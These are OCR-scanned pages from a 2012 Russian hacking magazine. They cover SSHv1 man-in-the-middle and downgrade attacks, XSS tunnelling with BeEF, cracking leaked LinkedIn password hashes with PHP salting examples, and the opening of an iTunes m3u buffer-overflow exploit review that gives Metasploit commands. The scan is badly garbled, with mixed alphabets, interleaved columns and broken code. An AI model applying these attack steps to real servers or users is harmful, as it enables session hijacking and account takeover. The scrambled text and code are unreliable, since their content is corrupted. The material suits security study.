из основных протоколов для удаленного заlцищенного SSH - один взаимодействия в Сети, является одним из главных админских интерфейсов. И если атаки на другие интерфейсы [Web, SSL, RDP] мы уже разбирали в Easy Hack, то SSH почему-то обошли стороной. Что ж, исправляемся. Итак, давай представим простую ситуацию: есть сетка, есть админ, есть сервер с открытым SSH, которым активно пользуется админ для удаленного администрирования. Нам же необходимо получить доступ к данному серваку. И как же это сделать? 0твет: никак:]. Ну, в смысле не совсем никак, но сейчас чаще всего точно не через SSH. Здесь слабое звено стоит искать либо в других

9,з77 7,155 1,572 814

129

-

сервисахlсервера,

либо в самом админе... Причины

-

высокая за-

щищенность последней версии SSH на уровне протокола и малое количество эксплойтов под П0... Хотя я, наверное, перегибаю Все же пути есть. Ьгutеfогсе. Тогда ТНС Конечно, первое, что приходит на ум, Нуdга нам в руки и в бой! Но возможно, это и не потребуется, если нам повезет. А наше везение во многом зависит оттог0, насколько

палку, говоря

<<никак>>.

-

стар атакуемый сервер. Наш шанс в том, что он будет поддерживать SSH версии 1. Эта версия протокола SSH имеет серьезную проблему, которая позволяет нам, атакующим, провести классическую man-in-the-middle атаку и в итоге видеть незашифрованный трафик. В общем виде атака представляет собой следующий процесс: 1. lt4ы проводим АRР-спуфинг междуадмином и сервером и таким обраjом контролируем передаваемыйтрафик. 2. Админ коннектится насерверпоSSН. 3, Сервер отправляетсвой открытый ключ клиенту. 4. Мы подменяем этот ключик на свой. .5. КлиентSSН админа вбtбирает шифрование, генеритсессионный ключ, шифруетего открытым ключом сервера и отправляет его.

61.161.146.з4

Сhlп.UпlсфLi.опiпgрiФiп..

l

ssн,1.6.naýE,l&>з.l

Зьrоуrпе

Серверов, поддерхивающих ssH версии t, ец€

6.

7.

много

Так как клиентзашифровал сессионный ключ нашим открытым ключом, то мы его расшифровываем и передаем дальше серверу

3ашифрованноесоединение наосновесессионного ключа установлено. Но мы знаем этот ключ, а потому можем расшифровывать проходящий через настрафик.

Этот процесс и показан на рисунке. Фактически данную атаку можно реализовать с помощью Еttегсар или Cain. как много осталось серверOв, Теперь же самOе важное которые поддерживают SSH v]? Точно я не скажу, но во время проведения пентестов они систематически попадаются. Сама атака

хАкЕр

09

/]64l 2012


Хакерские секреты простых вецей

возможным нестандартным железкам [например, контроллерам], безопасностью которых производители плохо занимаются. Как практический пример посмотри на shоdапhq,соm. но и это еще не всё. На самом деле не все и не сразу перешли на SSH v2, был и переходный период, когда серверы для обратной сOвместимOсти пOддерживали и первую, и вторую версии SSH. и таких серверов тоже есть пучок, и их мы тоже можем атаковать. Здесь нам поможет SSH Dоwпgrаdе атака. Чтобы все сразу стало ясно, следует сказать о том, как сервер показывает, какие версии SSH он поддерживает. Все очень просто. При подключении по SSH сервер открытым текстом отвечает клиенту одним из трех видов сообщений:

-

подключение

к

ssн-1.99

и по

5sHv'|,

и по

v2

. . о

SSH-I.5 SSH-1.99

только SSH версии - поддерживается поддерживаются SSH версии и 'l, и 2; SSН-2.0-только версия 2. 1;

То есть, просто подключившись

схеtка

ai,llT1,1

для ssH версии

1

стала общеизвестна году так в 2000-2001 -м. А потому почти все новые серваки и железки поставляются уже с правильной версией ssН. Но в то же время всякое пятилетнее оборудование может быть уязвимо. 0собенно это относится к сетевому оборудованию и все-

к серверу, мы можем понять, насколько он уязвим. Принцип работы SSH Dоwпgгаdе, я думаю, теперь пOнятен: кOгда клиент коннектится к серверу, мы подменяем ответ от сервера [опять же используя MlTM] с текста <SSH-1.99> на <SSH-1.5>. Клиент думает, что сервер поддерживает только SSHv'], и пOдключается, испOльзуя его. конечно, здесь еще многое зависит и от настроек клиентского П0. Но, например, тот же де-факто стандартный виндовый SSHклиент PuTTY поддерживает SSH версии и 2, и 1 lcM. скриншотl. Практическую реализацию показывать не буду, так как Cain, например, проводит эту атаку на автомате [dоwпgгаdе + pass sniff = ARP-SSH-,1], когда используется АRР-спуфинг, Если же есть желание самOму потренироваться, то вот линк goo,qrhqgZY.

-

нАстроить пOд сЕБя },IETASPLOп FRA},IEWoRK coNsoLE Metasploit Frаmеwогk стал одним из главных пентестерских инструментов. Oно и понятно: в него портируется много сторонних тулз, паблик эксплойты постоянно добавляются, то есть проект постоянно растет расширяется функционал и развивается,

-

Несмотря на то что у МSF есть несколько видов GUl, очень многие все равн0 пOльзуются его консольной версией msfconsole. Не так давно я обнарухил, что его можно настроить под себя и сделать информативней. НапримерI при запуске msfconsole мы видим приглашение <msf>>, которое не очень-то полезно. Но оказывается, все можно изменить. В msfconsole есть параметр, который отвечает за то, что будет отображаться. И имя ему- PROlr4PT. Установка значения переменной осуществляется стандартными командами: <set> настройка будет применена в рамках данной сессии, -настройка <Setg> <навсегда>, то есть сохранится в пользовательском конфиге. Например, следующей командой мы указываем выводить lPадрес в начале каждой команды [что очень удобно, так как сразу понятно, что выводить в LHOST для модулей):

-

set

PROMPT

%J %L %S %Т %U %D %Н

путь локальной директории;

hostname атакующего; количество запущенных модулей [.job]; lР-адрес атакующего; количество имеющихся сессий; timestamp; имя пользователя, запустившего msf.

Кроме того, есть еще дополнительные фичи. Во-первых, для %Т можно указывать формат временных MeToKl используя еще одну

переменную РгоmрtТimеFогmаt, с указанием параметров (o/od месяц, %у- год и так далее]. Во-вторых, для удобства день, %m имеется вOзмOжнOсть испOльзOвать цвета их достаточно много. и именуются они по первым трем буквам названия на английском: %yel желтый, %геd красный и так далее. Ну и кроме того, все, что начинается не с %, будет отображаться как текст. Таким образом, мне кажется, удобная консоль будет иметь настройку [также см. скриншот}:

-

set

-

PROMPT %L %геdsi%S тi%J

%L

В итоге Mbi получим примерно следующее: 192 . 168. 0.

1 >

Кроме %L, которая oTBeTciBeHHa за вывод локального lРадреса машины, еще и другие. flалее полный список: _есть

хдкЕр

09 l1b|+l

2012

Локальный lB количество сеGсий иjоЬs'ов


взл0],l/ЕАSYнАск

ОРГАНИЗОВАТЬ ТУННЕЛЬ ЧЕРЕЗ XSS рЕшЕниЕ

с ядром фреймворка и ждет от него коп,4анд lсистематически

Итак, опять представим себе ситуацию. Есть сервер с административньr,4 ве6-интерфейсом, есть админ и есть мы, а хотим мы поовнить данный сервачок. Предположим, что каких-то сверхкритичных уязвимостей на вебе найдено не было, а только, скажем, XSS'Ka. И вроде бы все отлично: хватай ХSS'кой куки, и вперед| Но как бы не так. Как минимум, проблемой может стать установленный сервером для кукисов флаг НТТРOпlу, который не даст нам возможность вынуть их из браузера админа. !ругой проблемой может стать фильтрация по lР доступа к веб-серверу или к самой админке. И что же тогда делать? 0рганизовать туннель через XSS. Что бы там ни говорилось о продвинутом использовании XSS'oK, но самым мощным payload'oM, я думаю, является как раз ХSS-туннель. Зачем нам аутентификационные куки, когда мы можем напрямую выполнять какие-то действия на сайте от имени нашей жертвы? Но постой, ,Щавай посмотрим, что же такое ХSS-туннелинг, Если говорить в обцем, то это специальный JачаSсгiрt, который подгружается ХSS'кой нашей жертве,,Щалее этотJS открывает какую-нибудь страницу на атакуемом сайте и полностью ее нам пересылает, Mbi видим ее в своем браузере, кликаем, куда нужно, но наши действия не выполняются браузером, а передаются обратно в этот JS, который и произведет необходимые действия на атакуемом сайте, но от имени жертвь. Причем жертва об этом не будетдогадываться. 0писание, конечно, очень общее, для понил.4ания идеи. На практике все прOисхOдит нескOльк0 слOжнее, кOличеств0 элементов несколько больше, и это мы сейчас рассмотрим на примере ВеЕF. ВеЕF это специальнь й фреймворк для проведения мощных и глубоких атак на браузерь с использованием XSS'oK. На самом деле, может быть, не очень хорошо получается, что описывать такую прекрасную вещь, как ВеЕF, мне приходится в несколько строк, ведь она заслуживает отдельной статьи. Но я думаю, что в следующих выпусках мы эт0 пOправим, Итак, ВеЕF представляет собой трехкомпонентную систему: 1. Браузерыжертв-hоосkеd Ьгоwsегs. БраузерьL,вкоторыенам удалось подгрузить свой, а точнее ВеЕF'а, JачаSсriрt-код. 2. ЯдроВеЕF'а-главноесвязующееи всеобрабатывающеезвено. 3. Интерфейс ВеЕF'а, к которомуатакуюций подключается, ис-

-

пользуя свой браузер, и через который он может"управлять>

жертвами. На самом деле не совсем управлять, скатьте или иные атакующие мOдули.

а

скорее запу-

Если посмотреть на это в процессе, то атакующий с помощью XSS'oK или просто заманив жертву себе на сайт, подгружает ей в браузерJS ВеЕF'а, Щанный JS uустанавливает соединение>

стучится]. Атакующий через интерфейс может указать действие для какого-нибудь из браузеров жертв, выполнить сканирование портов например. Ядро, получив от атакующего команду, переправит к жертве еще дополнительный кусок JS, которь й исполнит указанную команду [то есть сканирOвание портов), а результат отправится обратно в ядро. Кроме сканирования портов, можно в любой момент подгрузить какой-нибудь эксплойт, например, и захватить контроль над тачкой. На самом деле это очень мощная штука. Получается, что люди как бы садятся на крючок.., Но вернемся к туннелю. 0дним из атакующих модулей ВеЕF'а является Tunnel Рrоху (aka ХSS-туннель), Р,ля того чтобы сделать ХSS-туннель. нам потребуется прописать в нашем браузере специальньlй прокси-сервер от ВеЕF'а lпо умолчанию 127.0.0.1, порт 6789). После этого все клики в нашем браузере (то есть НТТР-запросы) будут обрабатываться этим прокси. flaHHb й прокси, получая запрос от атакующего, модифицирует его специальным образом и переправляет JS модулю ВеЕF'а в браузере жертвы. Этот мOдуль выполняет запрос на атакуемый сервер. но от имени заХSS'енной жертвы. Результаты запроса {НТМL-страничкаl получаются этим JS-модулем ВеЕF'а и переправляются обратно в ядро ВеЕГ-'а,0ттуда данные конвертируются и передаются на ВеЕF-прокси, который, в свою очередь, отображает страницу для браузера атакующего. То есть фактически атакующий видит то, что (видитD жертва, !алее атакующий может вь полниIь еще какое-то действие, например ввести какую-нибудь форму и отправить ее. Все эта операция повторится, JS ВеЕF'а отправит от имени жертвь данный запрос, и результать его попадут обратно атакующему, ,Д,умаю, что теперь все стало достаточно понятно. Как видишь, это фактически удаленное управление, Теперь о плюсах, минусах и тонкOстях. Важно помнить о тOм, что отправляемые JS-модулем ВеЕF'а запрось от браузера жертвы на атакуемый веб-сервер lадминку) будут содержать аутентификационные куки в заголовках, то есть атакующий будет иметь аналогичнь й доступ в админке, что и жертва, Во-вторых, большим плюсом здесь является то, что жертва не знает 0 действиях, которые производит атакующий от ее имени. Это возможно потому, что мы можем, например, заманить жертву к нам на сайт, а на нем в скрытом фрейме открыть сайт-админку и через XSS'Ky в нем подгрузить JS от ВеЕF'а, И пока жертва будет на нашем сайте, мы можем производить нашу атаку. Атака с t ановится еце более опасчой, когда мы находимся в одном сегменте с админом [жертвойl и можем проводить МlТМ-атаку lагр spoofing, напримерl. В данном случае мы можем вставлять такой скрытый фрейм во все открываемь]е админом вебстраницы lкоторые передаются по НТТР] и поддерживать атаку таким образом до победного конца. Из минусов и тонкостей стоит отметить, во-первых, то, что, в отличие от многих других модулей ВеЕF'а, при Tunnel Рrоху JS ВеЕF'а должен быть подгружен именно через XSS на атакуемом сайте. Это важно для того, чтобы не нарушать кроссдоменные политики lSOP] и иметь возможность выполнять аутентификационные запросьL и пOлучать на них ответы. А во-вторых, так как у нас есть передающее звено lJS-модуль ВеЕF'а] и мы работаем не напрямую с с серверOм, т0 мOгут вOзникнуть труднOсти практическOг0 плана отображением контента или не очень корревтной работой с запросами, когда используются какие-то странные технологии :). 0пять же, с точки зрения совсем практической, здесь особо рассказывать нечего: требуется вь брать жертву, указать модуль ТuппеlРrоху и настроить свой браузер на прокси ВеЕt'а, 3десь лучше все своими глазами увидеть ( l, а еще лучше попробовать своими ручками. Вот и все, надеюсь было интересно, Успешных ресерчев и по знании нового|

-

Ё

хдКЕР

а9 l1b|,l 2012


взлоl,|

тор_30 пАролЕЙ из утЕкшЕЙ БАзы LINKEDIN

ье99 оо

"&ъе

;

-оо

еI, .

пароли, как сложные, так и простые. Механизмы заlлиты паролей, фигурировавшие в историях этих утечек, настолько примитивны, чт0 при желании для вOсстанOвления исхOдных данных мOжно

.

тогоlчтобы понять, насколько эффективен метод хеширования паролей, давай ознакомимся с существующими способами <восстановления), значения, скрываюшегося за хешем. Их не так много, и я думаю, ты слышал обо всех. 1. Брутфорс [Вrчtfогсе| различаютосновные три типа брутфорса: чистOм

вилqе

помощи средствGРU,. Современные видеокарты, поддерживающиетехнологию CUDA, АМ D 0penCL, позволя ют переби рать все возможные комбинации шестизначных паролей меньше чем за минуту, а семизначне бол ьше чем за шесть ми нут. Используя технологи и типа н ые СrоssFirе и Stгеаm, можно и вовсе объединять видеокарты в один массив для более эффекти вного перебора. Скорость перебора значения при этом может быть рассч итана по формуле: пере--б-р-ра-_,(!{).... ...

.

___,_,,на,._ll1цко-.л-ичеqт_в-е..вЦде-о,карт---......-.....

---.---t-,.=..(.0iYN1 -f-.-N2---t.,N3.

+

.,,

-

t.

- -Nл.\

12..

_.....

2. Переборпо<RаiпЬоwtаЬlеs>[радужныетаблицыl-посути,это

-

в

экстремальный|ехtrеmе}-переборпри

,,,.,..с.редц.ее_--9реця.,-(t).

тотже перебор,только с использованием заранее сгенерированн ых специальнь! м образом табл иц. 0чень эффекти вно применять

тупойldчmmуl-переборвсехвозможныхзначений.Этотподход дOвOльн0 устарел и

ых шаблоно в геgехр, а также с применен ием разл ич ного рода

словарей;

-

,Щля

о

щаблонный(tеmрlаtеl-переборсиспользованиемспециальн

использовать минимальные ресурсы. Стоитли в таком случае говорить о том, насколько уязвимыми мы становимся с неустойчивыми хешами, которые легко вскрываются ресурсами китайской 0ЕМвидеокарты стоимостью 42 доллара? Возможно ли суцественно усложнить злоумышленникам восстановление паролей пользователей с утекшей Бfl? Возможно! Сегодня я расскажутебе о том, как снизить риски восстановления паролей из неустойчивых хешей.

еее

уже не применяется нигде;

0шиБкА нАчинАюlцих криптOАнАлитикOв Многие начинающие криптоаналитики считают, что схема l..l$hashllll будет добавлять раунды в SHA1. Все было бы иtiенно так, если бы не одно фундаментальное свойство алrоритма SHA1. Из неrо следует, что вычислительн0 невOзмOжно написать такую функци ю SHA1 000, которая будет эквивалентна SHA1 (SHA1 (SHA1

тысячекратноl.tу вложенному вызову SHA1 и при этоtt будет легко вычислима. Обрати вниt{ание, что результат SHA'l (SHA1 [..($hashlll - это не то же catroe, что добавить больше раундов внутрь SHA1, так как Ta].,i есть еще пре- и постобработка. Результатоtt такоrо хеширования может стать невыгодный во всех отношениях расход процессорныfрЁсурсов.

хАкЕр

09 /164/ 2012


Сага о криптостойких паролях

противдлинных паролей. Скорость перебора ограничивается лишь скоростью процессора и быстродействием памяти.

п Из всего сказанного ты, наверное,

должен был понять, насколь-

ко неустойчивы современные криптографические алгоритмы хеширOвания к сOвременным реалиям атак. Есть несколько путей снихения рискOв на урOвне алгOритмов:

1. Использованиеболеекрt.tптостойкпхалгорит}rов.

2.

i,lаринованпе суцествующиххещей. Под маринованием имеется в видуспособ искусственногоусложнения пароля, называемый накладыванием соли. Соль представляетсобой набор различного рода символов, обычно это символы обоих регистров, цифры и спецсимвOлы, кOтOрые накладываются на готовую хеш-сумму пароля или склеиваются с ней.

$раsswогd = "pa5swd"; // Введенный пользователем простой парольJ который с вероятностью 99,9% будет в радухt!ой таблице типа low-alpha echo sha1($password); 1/ По понятным причинам мы больше не используем алгоритм mdS для хgшцровrния ,;-) $salt = "S$a(!Ф$%"178856)$11_s2':; 11 Испольэуя случай1 ный

набор

симвоjовJ.

мь! цохем

изценить

значение

хеша

echo shal($salt . $password)j 1/ Д вот хеш ддя мариновац: ного пароля с солью /1 Такая комбинация параля и его хеша не найдеlqя ни

в одной радуr(ной таблице

Статическая соль и подобные конструкции могут служить дOстатOчн0 хOрощ0 д0 тех пOр, пока структура этих конструкций и соль хранятся в тайне. Если же злоумышленник сможет раз-

0сновная задача соли намеренное удлинение пароля, котOрое значительн0 0сложняет восстановление исходных паролей с помощью предварительн0 построенных радужных таблиц. При этOм над0 учитывать, чт0 сOль не защищает от полного перебора каждого лароля в отдельностиI Ниже приведен список наиболеепопулярных типов солей.

реверсить алгоритм и узнать зашитый статический Iчто вахно!] секретный ключ хеширования, то уже понятно, что ему не составит труда модифицировать под себя свою таблицу>. "радужную так как полагаться на систему защиты сервера нельзя, нужно искать другой вариант. Более удачным вариантом может стать генерация уникальнОй соли для каждого юзера на основе его идентификатора, который закрепляется за ним после регистрации на ресурсе:

md5($paSs.$salt) md5($salt.$pass)

$hash =

-

mds(mds($pass) ) md5(mds(mds($pass)

vвu]letin

<

чз.8.5

,// Генерируем случайную строку миной в 22 символа function unique_salt() {

md5($SaIt. md5($pasS) ) md5($salt. $pass. $salt)

геtuпп substr(sha].(mt_гand(

$pass

) . md5

($5alt

md5($salt.md5($pass.$salt) >

чз.8.5

$usегпаmе. О. $ра ss ) ( Stгtоuрреr(md5 ($pass

$unique_Salt = unique*salt(),;

shal($pass.$salt) s

ha].

(

$sa

lt

.

в

)

sha1

(

-

надо отметить очень важный нюанс уникальную соль также нужно будет заносить в базу попутно с хешеNi как двойную пару. Но даже получив к ней доступ, злоумышленник вряд ли сможет сгенерировать нескOлько миллионов радужных таблиц размером в добрые тысячи терабайт:). ,!,авай немного поговорим о плюсах и минусах методов и алгоритмов хещирования. С одной стороны скорость, с другой безопасность. Казалось бы, чем быстрее, тем лучше для пользователей: вO-первых, меньше нагрузки на сервер, во-вторых, скоростная регистрация пользователей. Хотя чем больше скорость хеширования, тем быстрее его сможет вскрыть и злоумышленник. По сути дела,

)))

$pass )

shal(sha1($pass)) Shal(shal(sha1($pass) stгtоlоWеr

(

)

sha1($unique*salt $password); 1/ Заносим переменную hash уникальный маринованный хеш

$hash =

)

md 5 (

md5

)

$ч5егпаmе ) . $pass )

-

Приведем пример простейшей маринованной защиты с применением статической соли от радужных таблиц md5[sha1 [md5{$pass]]] на РНР:

Н

,__--__. Rз.

Н

._._-.-.

Н

._.i-... Rl.

,+i.i:1::.;+

Н *;

.-__--.. Ra gKpmwiB+

Rr

.+li::,T..;=+

ф:'оlеm+;+ Схемаупрощенной радухнойтаблицы сдлпной цепочек, равнойтрем. Ц, R/ R]-функцrи редукции, Н-функцf,яхещирования

хАкЕр

09 /]641 20]2

),0J 22);

) ))

mds($saIt. md5($salt. $pass)

vBulIetin

)

}

md5(md5($saIt).md5($pass) (

$passwond);

идеальный вариант- генерировать полностью уникальную соль:

))

mds(mds($saIt). $pass)

md5 (md5

sha1($user_id


взлOм ф

оо

fish /mеdiа/2зfdldо9-Ь9Е7-42f7-аЬ74-64з24з4сlь67/рt

2fttвпеmй rцftл поrrуmрБп крmтрафпескш юшGll

ФушЕш

1990

l99l

1992 199З 1994

1Я5 l99б

1997 1998 1999 2000 2001 2002 2003 2004 2005 20Об 20О7 20О8 ?0О9

Snefru юd

ш5 MD2 RIpEMD EAvAl,-12s

:frl R]PEMD-128

RIPEMD-lбo

Hashcat поддерхивает восстановление пароля из (соленых) хещей

SIаД-2

fmily

Iсmч

ЕG

щомш

O*6r*I

Жизненныйциклпопулярныхкриптографическихалrоритмов

это палка о двух концах, тут очень важно подобрать золотую середину. Как я уже сказал не знаюцему матчасть злоумь]шленни-даже ку ничег0 не стOит при пOмOщи уже гOтOвь]х инструментOв и метOдик

бь,стро перебрать большrlство из судес-вуюIr'х гаооле;, Конечно же, можно заставить пользователей нашего ресурса изобретать пятнадцатизначные пароли с использованием цифр, букв верхнего и нижнего регистра, специальных символов. Но понятнOе дел0, чт0 при таких раскладах существующие пOльзOватели этого ресурса просто-напросто разбегутся, а новые будут обходить его стороной, придется потратиться на Хочешь повь сить безопасность

ресурсы и время, причем соотношение

' сгурt( 'Sапjаг_SаtSuга' '$1$Sапjаг$') "\п";

echo 'lЧDS: }

(сRYPT_BLOWFIsH ==

echo'Blowfish:'

(сRYPT_SHA256 ==

echo

"5$а( !@#$%"17BB5G)$11_S2";

{

sha1($unique_salt $раsswогd); -]-: з! ц,( ,,-- ia?a :a: " :-.,i:

(сRYPT_SHA512 ==

echo'SHA-512:'

=

'

D:

:,_,'':-,.

0; $i

< 100а; $i++)

$hash = sha1($hash);

{

1)

{

'

сгурt( ' Sапjаг_Sаtsuга

$ha

s

Удобнеедля замедления хеш-функций использовать различные криптографические алгоритмы, встроенные с РНР 4,0.З2 и реализуемые через функцию сгурt(]:

blowfi sh_hash($passwoгd,

сгурt(' sапjап_sаtsuга'

}

1)

echo 'Extended DEs:

(сRYPT_MDS ==

1)

{ '

"\п";

{

1

.$unique_salt);

} _

DES:

J9..Sanj')

$unique_sa]t)

сrурt($раsswопd,'$2а$10$'

{

''\п''.;

(сRYPT_EXT_DES ==

)

Если второй аргумент функции сгурt не будет передан, он будет выбран случайным образом, так что соль генерируется полнOстью случайно, Золотой серединой метода замедления хеш-функции это является применение криптоалгоритма В owfish. В owfish способ шифрования с медленнь м алгоритмом разделения ключа (сам алгоритм довольно быстр после выполнения разделения ключа lkey schedulingJ, а также когда необходимо зашифровать большое сообщение с одним ключом), По современным меркам ИБ такой код должен обеспечить максимальную безопасность.

?php

echo 'Standaгd

сгурt('sапjап_sаtsuга'

$6$гоUпdS=5000$usеsоmеsillу5tгiпgfогsаlt$'

-

Если злоумышленнику для того, чтобы сломать восьмисимвольнь й пароль, на мощной видеокарте потребуется около 55 часов, то после применения метода замедленного хеширования перебор всех знаiений уже составит семь лет. РROFlТ| ;-]

a:., ,:aa.i s;]:

{

?>

h;

(cRYPT_STD_DEs == 1)

1)

}

}

.

'SHA,256:

}

}

<

сгурt('sапjаг_SаtSuпа' "\n"

'$5$гoundS=5oao$USeSomeSillystгingfon5alt$') "\n"

з L",(re ,]a-ai-..]\, ($i

{

}

ресурсь /время прямо про-

mуhаsh($раsswогd, $unique_saIt)

$hash =

1)

'$2a$07$USeSomesillystningfonSalt$')

пOрциOнальн0,

$saIt =

,

сгурt(' Sапjаг,SаtSuга','_

гt

J

ЗАКЛЮЧЕНИЕ

Сильная криптография, если все сделать верно, дает многое, но она не панацея, Сосредоточение на криптографических алгоритмах, сOпряженнOе с игнOрирOванием 0стальнь х аспектOв не построив безопасности, пOхоже на попьlтку защитить дом забор вокруг него, а установив огромный столб в надежде, что противник налетит прямо на него. Сообразительный нападающий просто обойдет алгоритмы. Иногда, изобретая новый способ взлома системы, мь] используем те же старые ошибки, которь е хорошо заразработчики повторяют снова и снова, Все новое бытое старое.

t

-

хАкЕр

09 /]641 20]2


Сага о криптостойких паролях

АвтOр MD5сRYPT пOдчЕркнул нЕБЕзOпАснOсть дАннOг0 АлгOритмА И ПРИЗВАЛ ПЕРЕЙТИ НА БОЛЕЕ СТОЙКИЕ МЕТОДЫ ХЕШИРOВАНИЯ ПАРОЛЕЙ Под впечатлением 0т утечки нескольких миллионов хешей паролей пользователей сайтов Linkedln, еНагmопу и Last.fm, ПолХеннинг Камп lPoul-Henning Kampl, объявил, что созданную им в 1995 году реализацию системы хеширования паролей mdscrypt больше нельзя считать безопасной. по словам пола-хеннинга Каtiпа, md5сгурt исчерпал себя как алгоритм хеширования паролей. Современные инструменты подбора паролей, способные проверить миллион комбинаций в секунду,

благодаря задействованию средств

GРU-акселерации }.lогут восстановить любоЙ семисимвольныЙ пароль по хешу md5 меньше чеt4 за шесть 1.1инут, а для шестисиtlвольного перебор всех значений и вовсе будет составлять примерно t"tинуту. Так как во }.{ногих системах для хеширования паролей по умолчанию попрежне}{у используется md5crypt, ПолХеннинг Камп призвал польэователей и разработчиков 0С перейти на более

стойкие алгорит1,1ы. Пол-Хеннинг не указывает на конкретный

алгорит},{, н0 советует использOвать

некOтOрые метOды повышения затрат вычислительных ресурсов, например цикличное влOженное хеширование или комбинацию результатов разных алгоритtlов хеширования..Д,ля сайтов с более чем 50 тысячами пользовательских аккаунтов ПолХеннинг Камп порекомендовал испольэовать

собственный },t одифи цирова нн ы й алгор итtt, базирующийся на стойких хешах, таких как SHA [чтобы организовать процесс подбора паролей для нестандартного алгоритма, дополнительно потребуется определить и воссоздать его логику].

tтппl

пOчЕму сущЕствуЕт уязвимOсть?

. Про доrмы в криптографии:

Прежде чем ответить на этот вопрос, нужно понять, почему

.6аза хещей Linkedln: bit.lylKhFth]; . нейноrо о хещах

уязвимости

бывают в криптографических

алгорит}.lах

хеширования. Ведь основной целью применения криптографии иэначально являлось cKpbiTb инфорttацию и, как следствие, сделать практически невоэможной расшифровку захешированного сообщения, поскольку циклические алгорит},{ы хеширования были изначально подвержены коллизиям. Чтобы это понять, не нужно быть крутым математикOм. Еще недавно (примерно шесть лет назадl коллизии для криптографических

алгоритмов хеширования ttlогли показаться фантастикой, а сегодня этим уже никого не удивишь. Некогда <устойчивые> алгоритtilы хеширования MD4/MD5, ставшие стандартами де-факто во многих проектах и решениях в области продуктов информационной

безопасности, теперь полностью безнадежны и должны быть 0тправлены тOлько в 0дном направлении... да, ты угадал: в самое /dev/null :l. Примерно то же самое происходило в 1995 году с алгоритмом DES. Последствия, которые он оставил, до сих пор дают о себе знать. Но почему, осознавая, что алгорит1.1 более не безопасен, мы продолжаем его использовать? Воэможно, потоtilу, что просто привыкли к этим алгOритмаt{ хеширOвания, ведь 0ни прочно вOшли в нашу жизнь. Хотя есть еlле один важный момент: леньматущка, и от нее никуда не денешься, ага :|. Более подробно 0 кOллизиях криптографических функций и типах атак ты можешь прочитать в моей статье <0пасный двойник>, опубликованной в номере 159 нашего х<урнала. Если хорошо разбираться в математике и прикладной криптографии, есть возможность найти ошибку в алгоритме хеширования, так как чем сложнее алгоритм, тем больше вероятности

ее нахождения. Надо понять такую веlль: как и в програ},{мировании, чем больще

в криптографии,

проект, Tet больше ошибок. Людям свойственно ошибаться, поэтому при поиске ошибок всегда есть надежда на незаменимый в этой области человеческий фактор:|. При портировании криптографиQеских алгоритt,lов и написании

хлкЕр

а9 /1b/+l2012

bit.ll0010AN;

обертки также не исключено появление ошибок. В качестве примера tlожно привести набор замечательных ошибок, недавно обнарух(енных в реализации класса RSАСrурtоSеrчiсеРгочidеr библиотеки .NET Fгаmеwоrk. Как оказалось, заявленные в классах RSАСrурtоSеrчiсеРrочidег и DSАСrурtоSеrчiсеРгочidеr методы SignHash имеют глупейшую ошибку, которая заключается в псевдорандомизации трех иэ четырех блоков. Итог: +75% к атакам на RSA шифрование в VМ .NET. Многие журнальные и научные статьи любят описывать криптографические продукты в терминах алгоритtlов и длины ключей. Алгоритмы благозвучны: их описание может быть немногословным и их легко сравнивать друг с другом. (l28-битные ключи означают высокую степень за|литы>. <Тройной DES означает высокую степень защиты>. .40-6итные ключи означают низкий уровень защиты>. (2048-битный RSАлучше 1024-битного RSA>. Но в реале все не так просто, Более длинные ключи не всегда означают лучшую защиту.,Д,авай сравним криптографический алгоритм с замком на твоей входной двери. Большинство дверных за}пков имеют четыре металлических штифта, каждый из которых t4ожет находиться в одном из десяти полох<ений. Ключ устанавливает штифты в особой комбинации. Если ключ устанOвит их все правильно, замок откроется. Таким образоl,t, может быть только'l0 тысяч различных ключей, и вэломшик, готовый испробовать их все, обязательно попадет к тебе в дом. Но улучшенный эамок с десятью штифта},1и, дающий l0 миллиардов возможных ключей, часть из которых, несомненно, будет забракована или будет содержать дефект, естественно, не сделает твое жилиlле безопаснее, Гlравильные хеш-крекеры не испытывают каждый возможный ключ [атака <в лоб>l, большинство даже не настолько хитры, чтобы взломать замок lкриптографическая атака на алгоритt{l, и используют гOтOвые инструменты и рекомендации. Лучшие замки не спасут от таких атак, пока будут существовать ошибки в алгоритмах прOектирования.

и

безопа(ном

хранении паролейi bit.lY/OYWn(Y; . time-memorytrade off и нерадужные таблицы:

bit.lyloywzsJ;

. матчасть по

радужным таблицамi bit.lч/пzЬitlz;

. oclHa5hcatнаилучщий GPU-

брутфорсер|iаs!саt. net/oclhashcat; . готовые радужные таблицы:

Ьit,IуlЦrlЦцЕ;

. 0пliпе Hash Generatог l345 алгоритмовl:

bit,lylcHved.

щ

всевозможные реалхзации

маривованнOrо хещирOвания ты мохещь найти в библиотеке.

пред(тавленной

на нашем диске lsгс/ php_salthash_fun(tion.inc.phpl.


И снова мы фаззер запустим, И снова он выдаст нам сбой.

Сюжет

л

икованья опустим,

Эксплоитомейкеры,

Фы

t

в бой!

0бзорЗ

цмпш В(я информация предOставлена

исключительно в 0знакомительных целях. Ни редакция, ни автOр не несут 0тветственнO(ти за любой вOзможный вред, причиненный материалами данной статьи.

эксплоитов

1

Apple iTunes 1 0: переполнение буфера на стеке при обработке расlлиренного m3ч-файла

lllltllaý IAV:

щЕ

релиза: 25 и ю ня Автор; Rh0, siппЗr СVЕ:СVЕ 2012 0677 ,Щ,ата

20

1

2

N/AC : It4/AU : N/C : С/l :С/А:

С

l]

данном случае речь пойдетоб ошибке переполнения буфера на стеке в версиях iTunes, начиная с 1 0.4,0.80 и заканчивая 10,6.],7. Когда открь1вается расширенный mЗu файл, содержащий тег(#ЕХТlNF:>, i Iunes копируетданные, располаrающиеся последанноготега, без каких-либо проверок. Копирование происходит из буфера в куче в буфер на стеке, при этом осуществляется записьданных за границы буфера на стеке, что привOдитк возмOжнOсти 8ыполнения произвольнOг0 кOда в контексте п ол ьзо вателя, за пусти в шего п роцесс iTu п es'a,

щего рассматриsаемой

с

запуска модуля для MetaSploit, соответствую-

уязвимости:

msf > use eXploit/Windows/bгoWSeг/apple_itunes_extended_mЗu msf exploit(apple_itunes_extended_mЗu) > set uгiраth ехm

uгiраth

=> ехm

msf expIoit(appIe_itunes*extended_mЗu)

taгget

саlс.ехе

SRVHOST 0.

>

set tагgеt

msf exploit ( apple_itunes_extended_m3u seI payload windows/exec payload => wlпdоws/ехёс msf exploit(apple_itunes_extended_mЗu)

yes

The

m3u):

local host to llsten

8а80

yes

SSL

false

no

Negotiate ssL

оп.

соппесtiопs

SSLceгt

no

sSLVeг SSLз

по

URIPATH

Listen

for iпсопiпg

path to о custoп ssl сегtifiсаtе (defauLt is rапdоmLу gепегаtеd)

ехm

specify the чегsiоп of

